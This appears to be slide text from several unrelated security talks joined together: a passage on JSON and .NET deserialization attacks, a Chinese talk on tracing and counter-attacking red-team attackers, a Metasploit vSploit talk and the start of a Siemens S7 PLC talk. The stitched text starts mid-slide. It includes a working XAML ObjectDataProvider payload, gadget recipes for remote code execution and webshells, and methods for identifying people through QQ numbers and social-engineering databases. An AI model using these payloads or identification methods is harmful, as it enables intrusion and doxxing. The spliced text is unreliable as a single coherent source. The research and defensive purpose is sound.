"FullName": "Steve Stockholder",
"Businesses": {
"$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib",
"$values": [ {
"$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests",
"Stars": 4,
"Name": "Hudson Hotel”
}]}}
Expected"Type’s"Object"Graph"Inspection
• Inspection'of'expected'type’s'object'graph
• Check'assignability from provided'type'
• In'some'cases'it'also'create'a'whitelist of'allowed'types
• Vulnerable'if
• Expected'type'is'user-controllable
• Attacker'can'find'injection'member'in'object'graph'and'no'whitelist'is'applied
Name : String
Items : Dict<String, Object>
Message : Message
Body : Object
Exc: Exception
User
Message
Data : IDictionary
Message : String
Source: String
StackTrace: String
InnerException: Exception
…
Exception
…
Value : Object
ValidationException
Name : String
Items : Dict<String, Object>
Message : Message
Props : Hashtable
IUser
Summary
Name
Language
Type Name
Type'Control
Vector
FastJSON
.NET
Default
Cast
Setter
Json.Net
.NET
Configuration Expected'Object'Graph'Inspection
Setter
Deser.'callbacks
FSPickler
.NET
Default
Expected'Object'Graph'Inspection
Setter
Deser.'callbacks
Sweet.Jayson
.NET
Default
Cast
Setter
JavascriptSerializer
.NET
Configuration Cast
Setter
DataContractJsonSeri
alizer
.NET
Default
Expected'Object'Graph'Inspection'+'
whitelist
Setter
Deser.'callbacks
Jackson
Java
Configuration Expected'Object'Graph'Inspection
Setter
Genson
Java
Configuration Expected'Object'Graph'Inspection
Setter
JSON-IO
Java
Default
Cast
toString
FlexSON
Java
Default
Cast
Setter
GSON
Java
Configuration Expected'Object'Graph'Inspection
-
FastJson
• Always'includes'Type'discriminators
• There'is'no'Type'check'controls'other'than'a'post-deserialization'cast
• Invokes
• Setter
• Should'never'be'used'with'untrusted'data
• Example:
• KalikoCMS
• CVE-2017-10712
Var obj = (ExpectedType) JSON.ToObject(untrusted);
JavaScriptSerializer
• System.Web.Script.Serialization.JavaScriptSerializer
• By'default,'it'will'not'include'type'discriminator'information
• Type'Resolver'can'be'used'to'include'this'information.
• Weak'Type'control:'post-deserialization'cast'operation
• During'deserialization,'it'will'call:
• Setters
• It'can'be'used'securely'as'long'as'a'type'resolver'is'not'used'or'the'
type'resolver'is'configured'to'whitelist'valid'types.
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
DataContractJsonSerializer
• System.Runtime.Serialization.Json.DataContractJsonSerializer
• Performs'a'strict'type'graph'inspection'and'whitelist'creation.
• However,'we'found'that'if'the'attacker'can'control'the'expected'type'used'
to'configure'the'deserializer,'they'will'be'able'to'gain'code'execution.'Eg:
• Invokes:
• Setters
• Serialization'Constructors
• Can'be'used'securely'as'long'as'the'expected'type'cannot'be'controlled'by'
users.
var typename = cookie["typename"];
…
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
Json.Net
• It'does'not'include'Type'discriminators'unless'TypeNameHandling setting'
other'than'None is'used
• Performs'an'inspection'of'Expected'Type’s'Object'Graph
• Invokes:
• Setters
• Serialization'callbacks
• Type'Converters
• Use'SerializationBinder to'whitelist'Types'if'TypeNameHandling is'
required
public class Message {
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
}
Demo"1:"Breeze"(CVE-2017-9424)
Fixed'in'Breeze'1.6.5'onwards
Serializer"Settings
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Unsafe"Deserialization"&"Entrypoint
https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
Demo"1:"Breeze"(CVE-2017-9424)
Similar"Research
• Java'Unmarshaller Security
• Author:'Moritz'Bechler
• Parallel'research'published'on'May'22,'after'our'research'was'accepted'for'
BlackHat'and'abstract'was'published'J.
• Focus'exclusively'on'Java
• Overlaps'with'our'research'on:
• Jackson'and'JSON-IO'libraries
• JdbcRowSetImpl.setAutoCommit gadget
• Include'other'interesting'gadgets
• https://github.com/mbechler/marshalsec
.NET'Formatters
Introduction
• Attacks'on'.NET'formatters'are'not'
new
• James'Forshaw'already'introduced'
them'at'BlackHat'2012'for'
• BinaryFormatter
• NetDataContractSerializer
• Lack'of'RCE'gadget'until'recently'L
•
Goals:
• Raise'awareness'about'perils'of'.NET'
deserialization
• Present'new'vulnerable'formatters'
scenarios
• Present'new'gadgets
•
Need'new'gadgets'that'works'with'
Formatters'other'than'BinaryFormatter
PSObject Gadget"(CVE-2017-8565)
• Bridges'to'custom'deserializer
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
PSObject Gadget"(CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs
…
…
LanguagePrimitives.FigureConversion()'allows'to:
•'Call'the'constructor'of'any'public'Type'with'one'argument'(attacker'controlled)
•'Call'any'setters'of'public'properties'for'the'attacker'controlled'type
•'Call'the'static'public'Parse(string) method'of'the'attacker'controlled'type.'
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
PSObject Gadget"(CVE-2017-8565)
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
…
PSObject Gadget"(CVE-2017-8565)
XAML"Payload
System.Windows.Markup.XamlReader.Parse()''-->'Process.Start(“calc”)
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc“
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
.NET"Native"Formatters
Name
Format
Additional'requirements'
Comments
BinaryFormatter
Binary'
No
ISerializable gadgets
SoapFormatter
SOAP'XML
No
ISerializable gadgets
NetDataContractSerializer
XML
No
ISerializable gadgets
JavaScriptSerializer
JSON
Insecure'TypeResolver
Setters'gadgets
DataContractSerializer
XML
Control'of'expected'Type
or'knownTypes
or'weak'DataContractResolver
Setters'gadgets
Some'ISerializable gadgets
DataContractJsonSerializer
JSON
Control'of'expected'Type
or'knownTypes
Setters'gadgets
Some'ISerializable gadgets
XmlSerializer
XML
Control'of'expected'Type
Quite'limited;'does'not'work'with'interfaces'
ObjectStateFormatter
Text,'Binary
No
Uses'BinaryFormatter'internally;'
TypeConverters gadgets
LosFormatter
Text,'Binary
No
Uses'ObjectStateFormatter internally
BinaryMessageFormatter
Binary
No
Uses'BinaryFormatter'internally
XmlMessageFormatter
XML
Control'of'expected'Type
Uses'XmlSerializer internally
Demo"2:"NancyFX (CVE-2017-9785)
Fixed'in'version'1.4.4'/'2.0-dangermouse'onwards
NCSRF"Cookie
• CSRF'cookie
• Latest'stable'version'used'a'BinaryFormatter serialized'cookie'(1.x)
• AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAA
ABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbG
QVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAA
AAJ9FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
• Pre-released'2.x'used'a'custom'JSON'parser'to'make'it'compatible'with'.NET'Core'first'versions
• Pre-auth Remote'Code'Execution'in'both'versions
Video
Generalizing'the'
Attacks
Attacking"all"the"deserializers
• During'unmarshaling,'objects'will'need'to'be'created'and'populated'
which'normally'mean'calling'setters'or'deserialization'constructors.
• Arbitrary'Code'Execution'Requirements:
1. Attacker'can'control'type'to'be'instantiated'upon'deserialization
2. Methods'are'called'on'the'reconstructed'objects
3. Gadget'space'is'big'enough'to'find'types'we'can'chain'to'get'RCE
• We'can'use'our'setter'gadgets'to'attack'most'formats'J
Examples
• FsPickler (xml/binary)
• A'fast,'multi-format'messaging'serializer'for'.NET
• Includes'arbitrary'Type'discriminators
• Invokes'setters'and'ISerializable constructor'and'callbacks
• Object'Graph'Inspection
• SharpSerializer
• XML'and'binary'serialization'for'.NET'and'Silverlight
• Includes'arbitrary'Type'discriminators
• Invokes'setters
• No'type'control'other'than'post-deserialization'cast
• Wire/Hyperion
• A'high'performance'polymorphic'serializer'for'the'.NET'framework'used'by'Akka.NET
• JSON.NET with'TypeNameHandling = All or'custom'binary'one
• Includes'Type'discriminators'and'invokes'setters'and'ISerializable constructor'and'
callbacks
Beware"of"rolling"your"own"format
• NancyFX
• Custom'JSON'parser'replacing'BinaryFormatter'(Pre-released'2.x')'to'make'it'
compatible'with'.NET'Core'first'versions
• DotNetNuke CMS'(DNN'Platform)
• Wraps'XmlSerializer around'a'custom'XML'format'which'includes'the'type'
to'be'used'to'create'the'XmlSerializer
• This'deserves'a'slide'on'its'own'J
{"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":
"2017-04-
03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2
13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140
,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy,
Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”}
Overcoming"XmlSerializer constraints
• Types'with'interface'members'cannot'be'serialized
• System.Windows.Data.ObjectDataProvider is'XmlSerializer friendly'J
• System.Diagnostic.Process has'Interface'members'L … use'any'other'
Type!
• XamlReader.Load(String) ->'RCE'
• ObjectStateFormatter.Deserialize(String) ->'RCE
• DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) ->'WebShell
• DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String) ->'Read'files
• Runtime'Types'needs'to'be'known'at'serializer'construction'time
• ObjectDataProvider contains'an'Object'member'(unknown'runtime'Type)
• Use'a'parametrized Type'to'“teach”'XmlSerializer about'runtime'types.'Eg:
System.Data.Services.Internal.ExpandedWrapper`2[
[PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Demo"3:"DotNetNuke (CVE-2017-9822)
Fixed'in'DNN'Platform'9.1.1'or'EVOQ'9.1.1'onwards
Source
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72
Processed,'for'example,'when'
accessing'a'404'error'page
Sink
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L201
Video
Wrap-Up
Main"Takeaways
• Do'not'deserialize'untrusted'data!
• … no,'seriously,'do'not'deserialize'untrusted'data!
• … ok,'if'you'really'need'to:
• Make'sure'to'evaluate'the'security'of'the'chosen'library
• Avoid'libraries'without'strict'Type'control
• Type'discriminators'are'necessary'but'not'sufficient'condition
• Never'use'user-controlled'data'to'define'the'deserializer'expected'Type
• Do'not'roll'your'own'format
Thank'you!
Alvaro'Muñoz'(@pwntester)'&'Oleksandr Mirosh | pdf |
红蓝对抗中的溯源反制实战
The practise of trace and retaliation in red team/blue team exercises
深圳证券交易所 网络安全主管 郭威
目录
战前准备
1
战中对抗
2
战后反思
3
总结
4
战前准备
组织工作
技术工作
4
引子 > 案例1：社工
找到技术支持
QQ群
伪造成基金公
司人员
通过之后修改
姓名+头像
2天
关于XX网络安
全整改事项说明
T 出群聊
重新添加好友
分析链接
确定身份
IP定位
提交报告
5
引子 > 案例2：钓鱼邮件
钓鱼邮件
控制邮箱
《东莞深圳通技术有限公司》
标题
发送
董事长A<[email protected]>
接收
员工B
收到邮件马上建立一个公司QQ群，方便工作安排，建好群号发到此
邮箱给我
备注：设置允许任何人加入，先别拉人，由我进群自行拉人
找到真实 IP
提交报告
6
问题
1. 高分报告长什么样？
2. 溯源反制该如何组织？
3. 蜜罐应该如何部署?
从现在的经验来看：
n 这些攻击案例，真的只值200+分吗？
7
备战 > 组织架构
消息组（4）
分析组
（9）
处置组
（4）
线索
特征
处置
报告
各
部
门
异
地
中
心
下
属
公
司
关
联
机
构
监控组
（11）
可用性监控
指挥部
决
策
汇
报
工作小组
公安部
证监会
市网监
其他...
报
告
溯源反制组(3)
线索
8
备战 > 对蜜罐的理解
定位：互联网用重型蜜罐，内网
全量部署轻型蜜罐
n 获取攻击者信息（IP、社交ID）
n 反制攻击者
n 诱饵：域名、目录、端口、github、文库等
n 手段：jsonp、mysql local infile、rdp
漏洞、执行文件（activex、pe文件）
9
备战 > 蜜罐部署
已知漏洞
众测、红蓝对抗
Shiro/Fastjson
热门漏洞
某VPN、某EDR
F5 WEB、常见WEB漏洞
产品特性
RDP反制
Mysql 反制
路径跳转
a.b.cn/shiro
伪造接口
a.b.cn/actuator/env
域名复用
old.b.cn
欺骗域名
vpn.b.cn
常见目录
a.b.cn/admin
端口暴露
oa.b.cn:3389/21/22
github泄露
db.b.cn:3306
战中对抗
蜜罐
反制
11
迎战 > 拟定溯源反制组工作流程
n 高价值告警：一部分来自于蜜罐，一部分来自于分析组识别的真人攻击。
n 低价值告警：来自于NTA、WAF等边界检测设备。
人员能力栈构成：
1、能获取社工库信息：电报群组。
2、具备攻击能力：初级能熟练利用常见漏洞；中级能代码审计、组合利用漏洞；高级有0day。
3、二级制逆向：在沙箱基础上，对PE、ELF文件具备分析能力。
12
迎战 > 案例3：发现黑产
5天过去了……蜜罐依然没有收获，只能主动出击
n IP注册地为香港特别行政区
n 存在 phpmyadmin 弱口令
n 数据库写文件拿到 webshell
n 获取系统权限
13
迎战 > 案例3：发现黑产
14
迎战 > 案例3：发现黑产
1. 扫描器发现 800+ 台服务器存在 mysql 弱口令
2. C2服务器还控制了 600+ 台个人电脑
15
迎战 > 案例3：发现黑产
ref.attacker.com
在一份19年的在线病毒分析报告中发现了 ref.attacker.com 曾经解析到了 119.xxx.xxx.xxx
1.
两个IP原先有正常业务：victim.cn和 victim2.cn
2.
最晚在2020年3月，黑客入侵了119.xxx.xxx.xxx
（victim2.cn），将域名3、4、5、6指向了该服务器，直到
2020-06-18日。
3.
预计在2020年9月，黑客入侵了211.xxx.xxx.xxx（victim.cn），
将域名3、4、5、6指向了该服务器，目前仍然有效。
4.
域名qq177xxxxx.attakcer.org泄露了QQ号码 177xxxxxx。
5.
利用QQ号码溯源到了身份证、手机号信息。
16
迎战 > 案例4：谜之得分
IP
邮箱
whois
当当网账号
支付宝账号
红蓝对抗无关。对于红蓝对抗无关的追踪溯源完整还原攻击链条，溯源到黑客的虚拟身份、真
实身份，溯源到攻击队员，反控攻击方主机，根据程度阶梯给分。本次溯源到疑似攻击者的虚
拟身份，给XXX分。
发现的攻击IP是非有效IP。入侵是得分的前提，对扫描探测（进行信息探测踩点，并未攻击成
功）的追踪溯源不得分。请明确是否入侵成功，并提供入侵成功证据。
17
迎战 > 案例5：利用设备指纹捕获真实攻击者
aab21d24ebb6ca60f1405d5dc84a2453
bingzi5xxxx0
百度ID
百度贴吧
CSDN
脉脉
手机号
教育经历
工作经历
18
迎战 > 案例5：利用设备指纹捕获真实攻击者（2）
………
蜜罐厂家指纹库
深交所
提交指纹
参演单位1
设备指纹
+
百度ID
参演单位2
设备指纹
+
新浪ID
参演单位N
设备指纹
+
优酷ID
返回：社交ID
19
迎战 > 案例6：钓鱼邮件案例
《关于申报XX杰出员工的通知》
C2地址：
111.222.333.XX
邮件头找到发件人：
[email protected]
域名持有人：CC
邮箱：[email protected]
dddd 找到CSDN博客
佐证具备攻击能力
找到公司注册信息
获得手机号码185XX
工作经历
脉
脉
毕业院校
工作经历
领
英
微博/知乎
/Github
社
交
微信/支付
宝
其
他
nmap查看到指纹
XXXX_VM_XX
20
迎战 > 案例7：钓鱼邮件案例（延申）
我方攻击者
他山攻击者
21
迎战 > 案例8：水坑案例
该服务器在内网
开始横向扩散
利用后台计划任务
写入免杀webshell
管理后台
弱口令
22
迎战 > 案例8：水坑案例
该服务器在内网
开始横向扩散
利用后台计划任务
写入免杀webshell
管理后台
弱口令
溯源
反制
厂家情报
中心
样本泄露了
物理路径
捕获到用
户名
用户信息
在webshell中植入
probe.js
浏览器
(Chrome)
操作系统
在webshell中增加
canvas探针
CPU
主板
Chrome UAF 0day
CS 免杀
客户端
获得微信
ID
IP代理
池
browser, ua, lang, referer,
location, toplocation,
cookie, domain, title,
screen, flash
x 2
战后反思
蜜罐
反制
24
战后 > 反思2019年溯源中存在的问题
case1：QQ群社工
case2：邮箱钓鱼
1、将计就计，组建QQ群，诱导对方提
供链接、执行文件
2、针对回连信息（如IP、域名）进行
溯源
1、逆向分析，给出原理解析
2、利用社工库，从QQ号找到攻击者身
份信息
25
战后 > 反思 2020 年溯源中的局限性
战术上，也是柿子捡软的捏：
1、对于隐藏手段较为复杂
的场景，无能为力。
2、对于做了加固的“肉鸡”
服务器，定向攻击较难。
网络+应用隐藏：
n Domain Fronting
n cs2modrewrite
n Malleable-C2-Profiles
n Cloudflare Worker
R e f : < 红 队 基 础 建 设 : 隐 藏 你 的 C 2 s e r v e r > h t t p s : / / x z . a l i y u n . c o m / t / 4 5 0 9
26
战后 > 协作机制改进
蜜罐
钓鱼
扫描
作为属性，而非类别
IP
来源
记录
1.1.1.1
蜜罐
开放3306端口，存在弱口令，无法提权，请 xxx
继续跟进。
2.2.2.2
钓鱼
开放80、443，存在xx漏洞，已获得webshell。
3.3.3.3
扫描
NTA，无对外开放端口。
27
战后 > 报告标题优化
一部手机失窃引发的惊心动魄的战争
看蓝队如何干翻你
手机一丢，倾家荡产
初探第三代蜜罐，xxx精准溯源攻击者身份
警民联动、共建美好网络空间
-- xxx联合xx网监在国庆前夕铲除一伙网络博彩组织
一部手机失窃而揭露的窃取个人信息实现资金盗取的黑色产业链
攻防演练中的溯源反制实战
总结
29
溯源反制工作
01
02
03
04
责任主体
组织架构
协作机制
技术手段
这应该是公安的
事情？
三人小组
内外并举
攻击视角
n
社工信息的合法性、
准确性、完整性
n
常态化防护中，是
否有资源开展溯源
反制工作？
n
“比赛”规则。考
察CII单位与安全服
务厂商、公安的配
合能力。
n
公安的资源保障
n
明确目标：把握好
溯源的度。需要高
级别研究员？
0Day？普通蓝队？
n
人员构成：web+
二进制+信息库
n
对外：1）和公安
部门保持顺畅的沟
通渠道；2）依托
厂家的情报信息。
n
对内：和分析组、
夜班做好衔接。利
用共享文档进行信
息记录。
n
exploit：弱口令
/DB写
webshell/phpstu
dy /tomcat RCE
n
payload：CS/冰蝎
/蚁剑/哥斯拉/菜刀
n
平台：bayonet
30
其他
n 钓鱼邮件：别遗漏反垃圾邮件网关中拦截的邮件。
n 获取身份：注意邮件头中的 host 字段。
n 平常心：加分的不确定性因素太多，是否有人攻击你？攻击者水平？裁判尺度？
n 辩证看待加分与排名。
n 反制工作本身的法律风险，算不算灰色地带？
汇报完毕， 请批评指正
安全建设
哪有什么圣杯
无非是日拱一卒的心态
和对解决问题的执拗 | pdf |
Metasploit vSploit Modules
1
Marcus J. Carey
David “bannedit” Rude
Will Vandevanter
Outline
• Objective of vSploit Modules
• Metasploit Framework architecture
• What are Metasploit modules?
• vSploit modules
• vSploit and Intrusion Kill Chains
• vSploit and Intrusion Kill Chains
• Writing Metasploit Modules
• Live Demo
2
• Metasploit Project founded in 2003
• Open Source penetration testing platform based with over
1 million downloads in the past year
• Acquired by Rapid7 in 2009
• HD Moore joined Rapid7 as Chief Security Office and Chief
Metasploit overview
• HD Moore joined Rapid7 as Chief Security Office and Chief
Architect of Metasploit
• Rapid7 remains committed to the Community
• Metasploit Framework is the foundation for the
commercial editions Metasploit Express and Metasploit
Pro
3
LIBRARIES
INTERFACES
Rex
MSF Core
Console
CLI
TOOLS
Metasploit Framework Architecture
MODULES
MSF Core
MSF Base
Payload
Encoder
NOP
Auxiliary
PLUGINS
RPC
Exploit
GUI &
Armitage
4
LIBRARIES
INTERFACES
Rex
MSF Core
Console
CLI
TOOLS
Metasploit Framework Architecture
MODULES
MSF Core
MSF Base
Payload
Encoder
NOP
Auxiliary
PLUGINS
RPC
Exploit
GUI &
Armitage
5
What are Metasploit Modules?
• More than just exploits
• Payloads – the “arbitrary code” you hear about in
advisories
• Encoders – add entropy to payloads, remove bad
characters
• NOP – create sophisticated nopsleds
• Auxiliary – Like an exploit module but without a payload
– Underappreciated
6
Which would you pick for a training drill?
Live Ammo?
Or Paint Balls?
7
= Live Exploits
= vSploit Modules
Introducing: vSploit Modules
• New spin on auxiliary modules
– Focus on attack response emulation
– Not intended for exploitation
– Continues with Metasploit roots as security testing and validation
framework
– Allows organizations to understand their current security
– Allows organizations to understand their current security
investment
• Stand-alone compatibility
– No exploitation used
– Possible to remove exploit modules if necessary in some
environments
8
• Evaluate devices on their own merit
• Minimal traffic evasion
• Trigger alerts on purpose
• Ensure proper network device placement
• Test and train security staff
vSploit: Purpose
• Test and train security staff
• Test security architecture without exploits
9
• Many network based security offering monitor network
traffic for behavior
• Many devices are signature based
• Need to be placed on network properly to see interesting
traffic
vSploit: Interesting Traffic
• Good test cases are hard to emulate
10
• IDS
• IPS
• DLP
• Firewalls
• Network Intelligence Devices
vSploit: Network Traffic Device
• Network Intelligence Devices
11
• ESIM
• Netflow collectors
• Other Log correlation devices (ie. Splunk)
• Network-based vulnerability analysis devices
Security Monitoring
12
• Signature-based
• Looks for known suspicious traffic
• SQL injections
• Attack responses
• Alert on suspicious behavior
IDS/IPS
• Alert on suspicious behavior
13
• Similar to IDS
• Concerned with data leakage
• Personally Identifiable Information (PII)
– Social security numbers
– Payment information
Data Loss Prevention (Network Based)
• Protected Health Information (PHI)
– Medical records
• PCI-related data
– Credit card numbers
14
• Collects system logs
• Significant capital investment
• Provides correlation
• Provides reporting
• Key to most security operations efforts
Enterprise Security Information Management (ESIM)
• Key to most security operations efforts
15
Network
vSploit: Interesting Traffic
Client Sends Request for Interesting Traffic and Designated Port
Network
Traffic
Analysis
Device
Client
MSF #1 Sends Signature Matching String
MSF
vSploit: Simulating Malicious DNS Queries
MSF
DNS
Server
Metasploit sends out DNS Query to Internal
DNS, i.e.. Domain Controller
foo.ru
foo.cn
foo.kp
ESIM
Logs
Intrusion Kill Chains
Intrusion Kill Chains
19
Phase
Detect
Deny
Disrupt
Degrade
Deceive
Destroy
Reconnaissance
Web Analytics
Firewall ACL
Weaponization
NIDS
NIPS
Delivery
Vigilant user
Proxy Filter
In-line AV
Queuing
Exploitation
HIDS
Patch
DEP
Kill Chain – Course of Action Matrix
Installation
HIDS
*chroot* jail
AV
C2
NIDS
Firewall ACL
NIPS
Tarpit
DNS
redirect
Actions on
Objectives
Audit log
Quality of
Service
Honeypot
20
Source: Hutchins, Cloppert, Amin – Lockheed Martin
Phase
Detect
Deny
Disrupt
Degrade
Deceive
Destroy
Reconnaissance
Web Analytics
Firewall ACL
Weaponization
NIDS
NIPS
Delivery
Vigilant user
Proxy Filter
In-line AV
Queuing
Exploitation
HIDS
Patch
DEP
vSploit Testing Detection Capabilities
Installation
HIDS
*chroot* jail
AV
C2
NIDS
Firewall ACL
NIPS
Tarpit
DNS
redirect
Actions on
Objectives
Audit log
Quality of
Service
Honeypot
21
Source: Hutchins, Cloppert, Amin – Lockheed Martin
Phase
Detect
Deny
Disrupt
Degrade
Deceive
Destroy
Reconnaissance
Web Analytics
Firewall ACL
Weaponization
NIDS
NIPS
Delivery
Vigilant user
Proxy Filter
In-line AV
Queuing
Exploitation
HIDS
Patch
DEP
vSploit Testing Detection Capabilities
Installation
HIDS
*chroot* jail
AV
C2
NIDS
Firewall ACL
NIPS
Tarpit
DNS
redirect
Actions on
Objectives
Audit log
Quality of
Service
Honeypot
22
Source: Hutchins, Cloppert, Amin – Lockheed Martin
Unable to perform tests in red.
vSploit Modules Screen Shots
vSploit: Web PII Module - Configuration
vSploit Web PII Module - In Action
vSploit: HTTP File Download Server
vSploit Web Beaconing - Configuration
vSploit: Web Beaconing – In Action
vSploit: DNS Beaconing – Wireshark Analysis
vSploit: Vulnerable Headers
30
vSploit: Vulnerable Headers PCAP
31
Writing Metasploit Modules
• http://pine.fm/LearnToProgram/
• The Little Book of Ruby
• Humble Little Book of Ruby
• Metasploit Repository Documentation
http://r-7.co/iNmOBt
Where to Learn Ruby
http://r-7.co/iNmOBt
33
Auxiliary Module Basics
34
Auxiliary Module: Code can be simple
35
Using IRB in Metasploit
36
Exploit Written in Python
37
Same Exploit in Metasploit
38
Where to put it…
• Official modules live in msf3/modules/
– Subdirectories organized by module type (exploit/,
auxiliary/, post/, …)
• ~/.msf3/modules/ has same structure, loaded at
startup if it exists
• ~/.msf3/modules/auxiliary/vsploit is a the
• ~/.msf3/modules/auxiliary/vsploit is a the
location for vSploit modules
39
Quick demos
• vSploit documentation in Rapid7 Community
– https://community.rapid7.com
vSploit Documentation
Questions?
@iFail
[email protected]
Marcus J. Carey
@msfbannedit
[email protected]
David “bannedit” Rude
@willis__ <- two underscores
[email protected]
Will Vandevanter | pdf |
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
sOfT7: Revealing the Secrets
of the
Siemens S7 PLCs
Sara Bitan | Alon Dankner
Joint work with Professor Eli Biham, Maxim Barsky and Idan Raz
Faculty of Computer Science, Technion – Israel Institute of Technology
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Who are we?
Founder and CEO of CyCloak: Secure
system design and audit
Sara Bitan
Alon Dankner
2
Senior researcher at the Technion
Hiroshi Fujiwara Cyber Security
Research Center
Advisors: Prof. Eli Biham, Dr. Sara Bitan
Security researcher
M.Sc. graduate from the Technion
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
PLCs turn rogue…
Stuxnet
(Anonymous author)
• Exploit a vulnerable
Siemens Step7
engineering station/
WinCC HMI client
• Inject a rogue control
program, and tamper
with HMI outputs
Rogue7: Rogue
Engineering-Station
attacks on S7 Simatic
PLCs
(Biham, et al)
• A phyton script
impersonating an
engineering WS
• All S7 PLCs from the
same model and
firmware version share
the same key
Doors of Durin: The
Veiled Gate to Siemens
S7 Silicon
(Abbasi, et al)
• Siemens S7-1200 PLC
Bootloader Arbitrary
Code Execution
• Siemens S7 firmware is
using Adonis kernel
The Race to Native Code
Execution in PLCs
(Keren)
• Remote arbitrary code
execution on Siemens
S7-1500
• Exploiting memory
protection vulnerability
to escape the control
program sandbox
3
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
ICS architectures are evolving
4
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Software PLCs
Smart Manufacturing
• New requirements from PLC
vendors
• New features: IDEs, new
protocols, extensive cloud
communication
Vendor Requirements
• Agility and flexibility
• Preserve existing IP and
technology
• The solution: software PLCs
New PLC architecture
• Generic functions: GP OS –
updatable, flexible→ Standard
hardware
• Legacy functions : proprietary
OS - closed and hardened
• Virtualization: isolation and
separation
5
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Siemens ET 200SP open controller
• The PC-based version of SIMATIC S7-
1500
• Introduced in January 2015
• Combines PLC functionality with a PC-
based platform using virtualization
• Isolation between Windows and control
logic
• Supports Windows updates and reboot
without interruption to the control logic
• The controller continues to work even if
Windows crashes
• DUT: CPU 1515SP PC2
6
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
7
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The boot process
8
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
• The GRUB configuration file
The boot process
9
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Open controller boot sequence
BIOS
GRUB
Boot-
loader
1st Stage
VMM
2nd Stage
VMM
SWCPU
Windows
Embedded
10
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
• Surprisingly, the VMM binary, grub configuration and CPU.elf files are also
accessible from Windows
• RW by admin
The boot process
11
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
12
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Finding the ELF decryption code
13
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
14
